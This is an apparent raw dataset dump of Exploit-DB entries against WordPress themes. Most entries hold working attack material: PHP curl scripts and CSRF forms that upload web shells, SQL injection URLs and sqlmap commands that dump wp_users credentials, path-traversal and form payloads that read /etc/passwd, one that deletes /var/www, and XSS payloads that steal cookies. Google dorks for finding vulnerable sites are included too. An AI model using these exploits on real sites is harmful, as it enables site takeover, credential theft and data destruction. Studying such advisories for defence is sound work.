deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37956
Description: WordPress Theme GeoPlaces3 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-08-24
Author: Mdn_Newbie

Exploit:
##################################################################################

# Description : Wordpress Themes GeoPlaces3 - Arbitrary File Upload vulnerbility
# Google Dork: inurl:/wp-content/themes/GeoPlaces3/
# Date: 23 August 2015
# Vendor Homepage: http://templatic.com/app-themes/geo-places-city-directory-wordpress-theme
# Tested on: Win 7 & Win 8.1
# Author: Mdn_Newbie | Gantengers Crew 
# https://forum.gantengers-crew.org/

##################################################################################

Exploit : wp-content/themes/GeoPlaces3/library/includes/upload.php
	  wp-content/themes/GeoPlaces3/library/includes/upload_3feb.php

Path 	: /wp-content/uploads/tmp/


<?php
 
$uploadfile="m.jpg";
$ch = 
curl_init("https://server/wp-content/themes/GeoPlaces3/library/includes/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
 
?>



WE ARE : SultanHaikal - d3b~X - Brian Kamikaze - Coupdegrace - Mdn_newbie - Index Php 

GREETS TO: Gantengers Crew - Indonesian Defacer - Indonesian Cyber Army - Defacer Tersakiti Team - Suram Crew - Surabaya BlackHat - AND All Moeslim Defacer
Exploit-DB #29525
Description: WordPress Theme Highlight Premium - Cross-Site Request Forgery / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-11-10
Author: DevilScreaM

Exploit:
#Title : Wordpress Highlight Premium Themes CSRF File Upload Vulnerability

#Author : DevilScreaM

#Date : 11/10/2013 - 10 November 2013

#Category : Web Applications

#Type : PHP

#Vendor : http://themeforest.net

#Download : http://themeforest.net/item/highlight-powerful-premium-wordpress-theme/168424

#Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security
 	  Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber

#Thanks : ShadoWNamE | gruberr0r | Win32Conficker | Rec0ded |

#Tested : Mozila, Chrome, Opera -> Windows & Linux

#Vulnerabillity : CSRF

#Dork : 

inurl:/wp-content/themes/highlight/


CSRF File Upload Vulnerability

Exploit & POC : 

http://site-target/wp-content/themes/highlight/lib/utils/upload-handler.php

Script :

<form enctype="multipart/form-data"
action="http://127.0.0.1/wp-content/themes/highlight/lib/utils/upload-handler.php" method="post"> 
Your File: <input name="uploadfile" type="file" /><br /> 
<input type="submit" value="upload" /> 
</form> 


File Access :

http://site-target/uploads/[years]/[month]/ > find your shell
Exploit-DB #36179
Description: WordPress Theme Hybrid 0.9 - 'cpage' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-09-24
Author: SiteWatch

Exploit:
source: https://www.securityfocus.com/bid/49866/info

The Hybrid theme for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Hybrid theme 0.10 are vulnerable. 

http://www.example.com/?p=8&cpage=[XSS]
Exploit-DB #39211
Description: WordPress Theme Infocus - '/infocus/lib/scripts/dl-skin.php' Local File Disclosure
Type: webapps
Platform: php
Date: 2014-06-08
Author: Felipe Andrian Peixoto

Exploit:
source: https://www.securityfocus.com/bid/67934/info

The Infocus theme for WordPress is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. 

<html>
<body>
<form action="http://www.site.com/wp-content/themes/infocus/lib/scripts/dl-skin.php" method="post">
Download:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br>
<input type="submit">
</form>
</body>
</html>
Exploit-DB #38017
Description: WordPress Theme Kakao - 'ID' SQL Injection
Type: webapps
Platform: php
Date: 2012-11-09
Author: sil3nt

Exploit:
source: https://www.securityfocus.com/bid/56477/info

The Kakao theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/wp-content/themes/kakao/sonHaberler.php?ID=-1+union+select+1,2,3,4,5,group_concat%28user_login,0x3a,user_pass%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+wp_users--
Exploit-DB #29482
Description: WordPress Theme Kernel - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-11-07
Author: link_satisi

Exploit:
###################################################################################################
# Exploit Title: WordPress themekernel-theme Themes Remote File Upload Vulnerability
# Author: iskorpitx
# Date: 6/11/2013
# Vendor Homepage: http://www.wikmag.com/
# Themes Link: http://themeforest.net/item/kernel-premium-wordpress-blog-magazine-theme-/857077
# Infected File: upload-handler.php
# Category: webapps
# Google dork: inurl:/wp-content/themes/kernel-theme/
# Tested on : Windows/Linux
###################################################################################################

# Exploit


<?php 
$uploadfile="upload.php"; 
$ch = curl_init("http://127.0.0.1/wp-content/themes/kernel-theme/functions/upload-handler.php"); 
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('orange_themes'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$postResult = curl_exec($ch); 
curl_close($ch); print "$postResult"; 
?>

http://127.0.0.1/wordpress/wp-content/uploads/2013/11/upload.php




All http://www.mavi1.org members
Exploit-DB #39090
Description: WordPress Theme Kiddo - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-02-05
Author: TUNISIAN CYBER

Exploit:
source: https://www.securityfocus.com/bid/65460/info

The Kiddo theme for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to sufficiently sanitize file extensions.

An attacker can exploit this issue to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access to the application; other attacks are also possible. 

<?php
*/
[+] Author: TUNISIAN CYBER
[+] Exploit Title: Kidoo WP Theme File Upload Vulnerability
[+] Date: 05-02-2014
[+] Category: WebApp
[+] Google Dork: :(
[+] Tested on: KaliLinux
[+] Vendor: n/a
[+] Friendly Sites: na3il.com,th3-creative.com

Kiddo WP theme suffers from a File Upload Vulnerability

+PoC:
site/wp-content/themes/kiddo/app/assets/js/uploadify/uploadify.php

+Shell Path:
site/3vil.php

ScreenShot:
http://i.imgur.com/c62cWHH.png

Greets to: XMaX-tn, N43il HacK3r, XtechSEt
Sec4Ever Members:
DamaneDz
UzunDz
GEOIX
E4A Members:
Gastro-DZ

*/

echo "=============================================== \n"; 
echo "   Kiddo WP Theme File Upload Vulnerability\n"; 
echo "                 TUNISIAN CYBER   \n"; 
echo "=============================================== \n\n";   
$uploadfile="cyber.php";
  
$ch = curl_init("site-content/themes/kiddo/app/assets/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
  
?>
Exploit-DB #32861
Description: WordPress Theme LineNity 1.20 - Local File Inclusion
Type: webapps
Platform: php
Date: 2014-04-14
Author: felipe andrian

Exploit:
[+] Local File Inclusion in WordPress Theme LineNity  
[+] Date: 13/04/2014
[+] Risk: High
[+] Author: Felipe Andrian Peixoto
[+] Vendor Homepage: http://themeforest.net/item/linenity-clean-responsive-wordpress-magazine/4417803
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on: Windows 7 and Linux
[+] Vulnerable File: download.php
[+] Exploit : http://host/wp-content/themes/linenity/functions/download.php?imgurl=[ Local File Inclusion ] 
[+] PoC: http://localhost/wp-content/themes/linenity/functions/download.php?imgurl=../../../../index.php
         http://localhost/wordpress/wp-content/themes/linenity/functions/download.php?imgurl=../../../../../../../../../../../../../../../etc/passwd
Exploit-DB #35603
Description: WordPress Theme Live Wire 2.3.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-11
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/47299/info

Live Wire for Wordpress is prone to multiple security vulnerabilities. These vulnerabilities include multiple denial-of-service vulnerabilities, a cross-site scripting vulnerability, and an information-disclosure vulnerability.

Exploiting these issues could allow an attacker to deny service to legitimate users, gain access to sensitive information, execute arbitrary script code, or steal cookie-based authentication credentials. Other attacks may also be possible.

Live Wire for Wordpress 2.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/themes/livewire-edition/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

http://www.example.com/wp-content/themes/livewire-edition/thumb.php?src=jpg

http://www.example.com/wp-content/themes/livewire-edition/thumb.php?src=http://site/big_file&h=1&w=1
Exploit-DB #38041
Description: WordPress Theme Madebymilk - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-11-20
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/56608/info

The Madebymilk theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

https://www.example.com/wp-content/plugins/madebymilk/voting-popup.php?id=null'
Exploit-DB #38057
Description: WordPress Theme Magazine Basic - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-11-22
Author: Novin hack

Exploit:
source: https://www.securityfocus.com/bid/56664/info

The Magazine Basic theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/wp-content/themes/magazine-basic/view_artist.php?id=[SQL]
Exploit-DB #29670
Description: WordPress Theme Make A Statement (MaS) - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-11-18
Author: DevilScreaM

Exploit:
#Title : Wordpress Make A Statement Themes CSRF File Upload Vulnerability

#Author : DevilScreaM

#Date : 11/17/2013 - 17 November 2013

#Category : Web Applications

#Type : PHP

#Version : 1.x.x

#Vendor : http://themes.mas.gambit.ph/


#Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security
     Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber

#Thanks : ShadoWNamE | gruberr0r | Win32Conficker | Rec0ded |

#Tested : Mozila, Chrome, Opera -> Windows & Linux

#Vulnerabillity : CSRF

#Dork : 

inurl:wp-content/themes/make_a_statement
inurl:wp-content/themes/make_a_statement_v1


CSRF File Upload Vulnerability

Exploit & POC : 

http://site-target/wp-content/themes/make_a_statement/library/includes/upload-handler.php

Script :

<form enctype="multipart/form-data"
action="http://127.0.0.1/wp-content/themes/make_a_statement/library/includes/upload-handler.php" method="post"> 
Your File: <input name="uploadfile" type="file" /><br /> 
<input type="submit" value="upload" /> 
</form> 


File Access :

http://site-target/uploads/[years]/[month]/your_shell.php

Example : http://127.0.0.1/wp-content/uploads/2013/11/devilscream.php
Exploit-DB #51531
Description: WordPress Theme Medic v1.0.0 - Weak Password Recovery Mechanism for Forgotten Password
Type: webapps
Platform: php
Date: 2023-06-19
Author: Amirhossein Bahramizadeh

Exploit:
# Exploit Title: WordPress Theme Medic v1.0.0 - Weak Password Recovery Mechanism for Forgotten Password
# Dork: inurl:/wp-includes/class-wp-query.php
# Date: 2023-06-19
# Exploit Author: Amirhossein Bahramizadeh
# Category : Webapps
# Vendor Homepage: https://www.templatemonster.com/wordpress-themes/medic-health-and-medical-clinic-wordpress-theme-216233.html
# Version: 1.0.0 (REQUIRED)
# Tested on: Windows/Linux
# CVE: CVE-2020-11027

import requests
from bs4 import BeautifulSoup
from datetime import datetime, timedelta

# Set the WordPress site URL and the user email address
site_url = 'https://example.com'
user_email = 'user@example.com'

# Get the password reset link from the user email
# You can use any email client or library to retrieve the email
# In this example, we are assuming that the email is stored in a file named 'password_reset_email.html'
with open('password_reset_email.html', 'r') as f:
    email = f.read()
    soup = BeautifulSoup(email, 'html.parser')
    reset_link = soup.find('a', href=True)['href']
    print(f'Reset Link: {reset_link}')

# Check if the password reset link expires upon changing the user password
response = requests.get(reset_link)
if response.status_code == 200:
    # Get the expiration date from the reset link HTML
    soup = BeautifulSoup(response.text, 'html.parser')
    expiration_date_str = soup.find('p', string=lambda s: 'Password reset link will expire on' in s).text.split('on ')[1]
    expiration_date = datetime.strptime(expiration_date_str, '%B %d, %Y %I:%M %p')
    print(f'Expiration Date: {expiration_date}')

    # Check if the expiration date is less than 24 hours from now
    if expiration_date < datetime.now() + timedelta(hours=24):
        print('Password reset link expires upon changing the user password.')
    else:
        print('Password reset link does not expire upon changing the user password.')
else:
    print(f'Error fetching reset link: {response.status_code} {response.text}')
    exit()
Exploit-DB #36186
Description: WordPress Theme Morning Coffee 3.5 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-09-30
Author: SiteWatch

Exploit:
source: https://www.securityfocus.com/bid/49878/info

The Morning Coffee theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Morning Coffee theme prior to 3.6 are vulnerable. 

http://www.example.com/wp/index.php/%22+%3E%3C/form%3E%3CScRiPt%3Exss=53851965%3C/ScRiPt%3E/t
Exploit-DB #38102
Description: WordPress Theme Nest - 'codigo' SQL Injection
Type: webapps
Platform: php
Date: 2012-12-04
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/56792/info

The Nest theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/themes/nest/gerador_galeria.php?codigo=[Sqli]
Exploit-DB #48682
Description: WordPress Theme NexosReal Estate 1.7 - 'search_order' SQL Injection
Type: webapps
Platform: php
Date: 2020-07-22
Author: Vlad Vector

Exploit:
# Exploit Title: WordPress Theme NexosReal Estate 1.7 - 'search_order' SQL Injection
# Google Dork: inurl:/wp-content/themes/nexos/
# Date: 2020-06-17
# Exploit Author: Vlad Vector
# Vendor: Sanljiljan [ https://themeforest.net/user/sanljiljan ]
# Software Version: 1.7
# Software Link: https://themeforest.net/item/nexos-real-estate-agency-directory/21126242
# Tested on: Debian 10
# CVE: CVE-2020-15363, CVE-2020-15364
# CWE: CWE-79, CWE-89



### [ Info: ]

[i] The Nexos theme through 1.7 for WordPress allows side-map/?search_order= SQL Injection.



### [ Vulnerabilities: ]

[x] Unauthenticated Reflected XSS
[x] SQL Injection



### [ PoC Unauthenticated Reflected XSS: ]

[!] TARGET/TARGET-DIR/top-map/?search_order=idlisting DESC&search_location="><img src=x onerror=alert(`VLΛDVΞCTOR`);window.location=`https://twitter.com/vlad_vector`%3E>

[!] GET /TARGET-DIR/top-map/?search_order=idlisting%20DESC&search_location=%22%3E%3Cimg%20src=x%20onerror=alert(`VL%CE%9BDV%CE%9ECTOR`);window.location=`https://twitter.com/vlad_vector`%3E%3E HTTP/1.1
Host: listing-themes.com



### [ PoC SQL Injection: ]

[!] sqlmap --url="TARGET/TARGET-DIR/side-map/?search_order=idlisting%20DESC" -dbs --random-agent --threads 4

[02:23:33] [INFO] the back-end DBMS is MySQL
[02:23:33] [INFO] fetching database names
[02:23:33] [INFO] fetching number of databases
[02:23:33] [INFO] resumed: 2
available databases [2]:
[*] geniuscr_nexos
[*] information_schema

[!] sqlmap --url="TARGET/TARGET-DIR/side-map/?search_order=idlisting%20DESC" -D geniuscr_nexos -T wp_users -C user_login,user_pass,user_email --random-agent --threads 8

Database: TARGET-DB
Table: wp_users
[9 entries]
+--------------+------------------------------------+-------------------------+
Exploit-DB #30443
Description: WordPress Theme Persuasion 2.x - Arbitrary File Download / File Deletion
Type: webapps
Platform: php
Date: 2013-12-23
Author: Interference Security

Exploit:
 Exploit Title: Persuasion Wordpress Theme - Arbitrary File Download and File Deletion Exploit
 Date: 19 December 2013
 Exploit Author: Interference Security
 Vendor Homepage: http://mysitemyway.com/
 Software Link: http://mysitemyway.com/theme/persuasion-wordpress-theme/
 Version: Tested on 2.0 and 2.3

Details:
The vulnerable file is located at http://vulnerable-site.com/wp-content/themes/persuasion/lib/scripts/dl-skin.php
In exploit code, file name in first text box should be readable on the vulnerable server, then the vulnerable code allows it to be downloaded from the server. And the second textbox accepts a directory path. If it is writeable then vulnerable code will delete its contents.
An attacker can download readable files from the server and also can delete contents of writeable directories.


Vulnerable code:
<?php
$file = $_POST['_mysite_download_skin'];

if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.basename($file));
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    ob_clean();
    flush();
    readfile($file);

    rrmdir($_POST['_mysite_delete_skin_zip']);
    exit;
}


function rrmdir($dir) {
  if (is_dir($dir)) {
    $objects = scandir($dir);
    foreach ($objects as $object) {
      if ($object != "." && $object != "..") {
        if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object);
      }
    }
    reset($objects);
    rmdir($dir);
  }
}

?>

Exploit Code:
<html>
<body>
<form action="http://vulnerable-site.com/wp-content/themes/persuasion/lib/scripts/dl-skin.php" method="post">
Existing file's name:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br>
Directory to be removed:<input type="text" name="_mysite_delete_skin_zip" value="/var/www"><font color=red>Use with caution it will delete the files and directories if it is writeable</font><br>
<input type="submit">
</form>
</body>
</html>


-- 
Interference Security
Exploit-DB #36242
Description: WordPress Theme Photocrati 4.x - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-03-03
Author: ayastar

Exploit:
# Exploit Title: [ wordpress theme photocrati 4.X.X SQL INJECTION ]
# Google Dork: [ Designed by Photocrati ] also [powered by Photocrati]
# Date: [23 / 09 / 2011 ]
# Exploit Author: [ ayastar ]
# Email : dmx-ayastar@hotmail.fr
# Software Link: [ http://www.photocrati.com ]
# Version: [4.X.X]
# Tested on: [ windows 7 ]


--------
details |
=======================================================
Software : photocrati
version : 4.X.X
Risk : High
remote : yes

attacker can do a remote injection in site URL to get some sensitive information .
almost all version are infected by this vunl. 
=======================================================
Exploit code :
http://sitewordpress/wp-content/themes/[photocrati-Path-theme]/ecomm-sizes.php?prod_id=[SQL]

greetz to all muslims and all tryag member's 
:) from morocco
Exploit-DB #38301
Description: WordPress Theme Pinboard - 'tab' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-02-09
Author: Henrique Montenegro

Exploit:
source: https://www.securityfocus.com/bid/57873/info

The Pinboard theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

Pinboard 1.0.6 is vulnerable; prior versions may also be affected.

http://www.example.com/wp-admin/themes.php?page=pinboard_options&tab= ]"><script>alert(document.cookie)</script>
Exploit-DB #36185
Description: WordPress Theme Pixiv Custom Theme 2.1.5 - 'cpage' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-09-29
Author: SiteWatch

Exploit:
source: https://www.securityfocus.com/bid/49875/info

The Pixiv Custom theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pixiv Custom theme 2.1.5 is vulnerable; prior versions may also be affected. 

http://www.example.com/?cpage=[xss]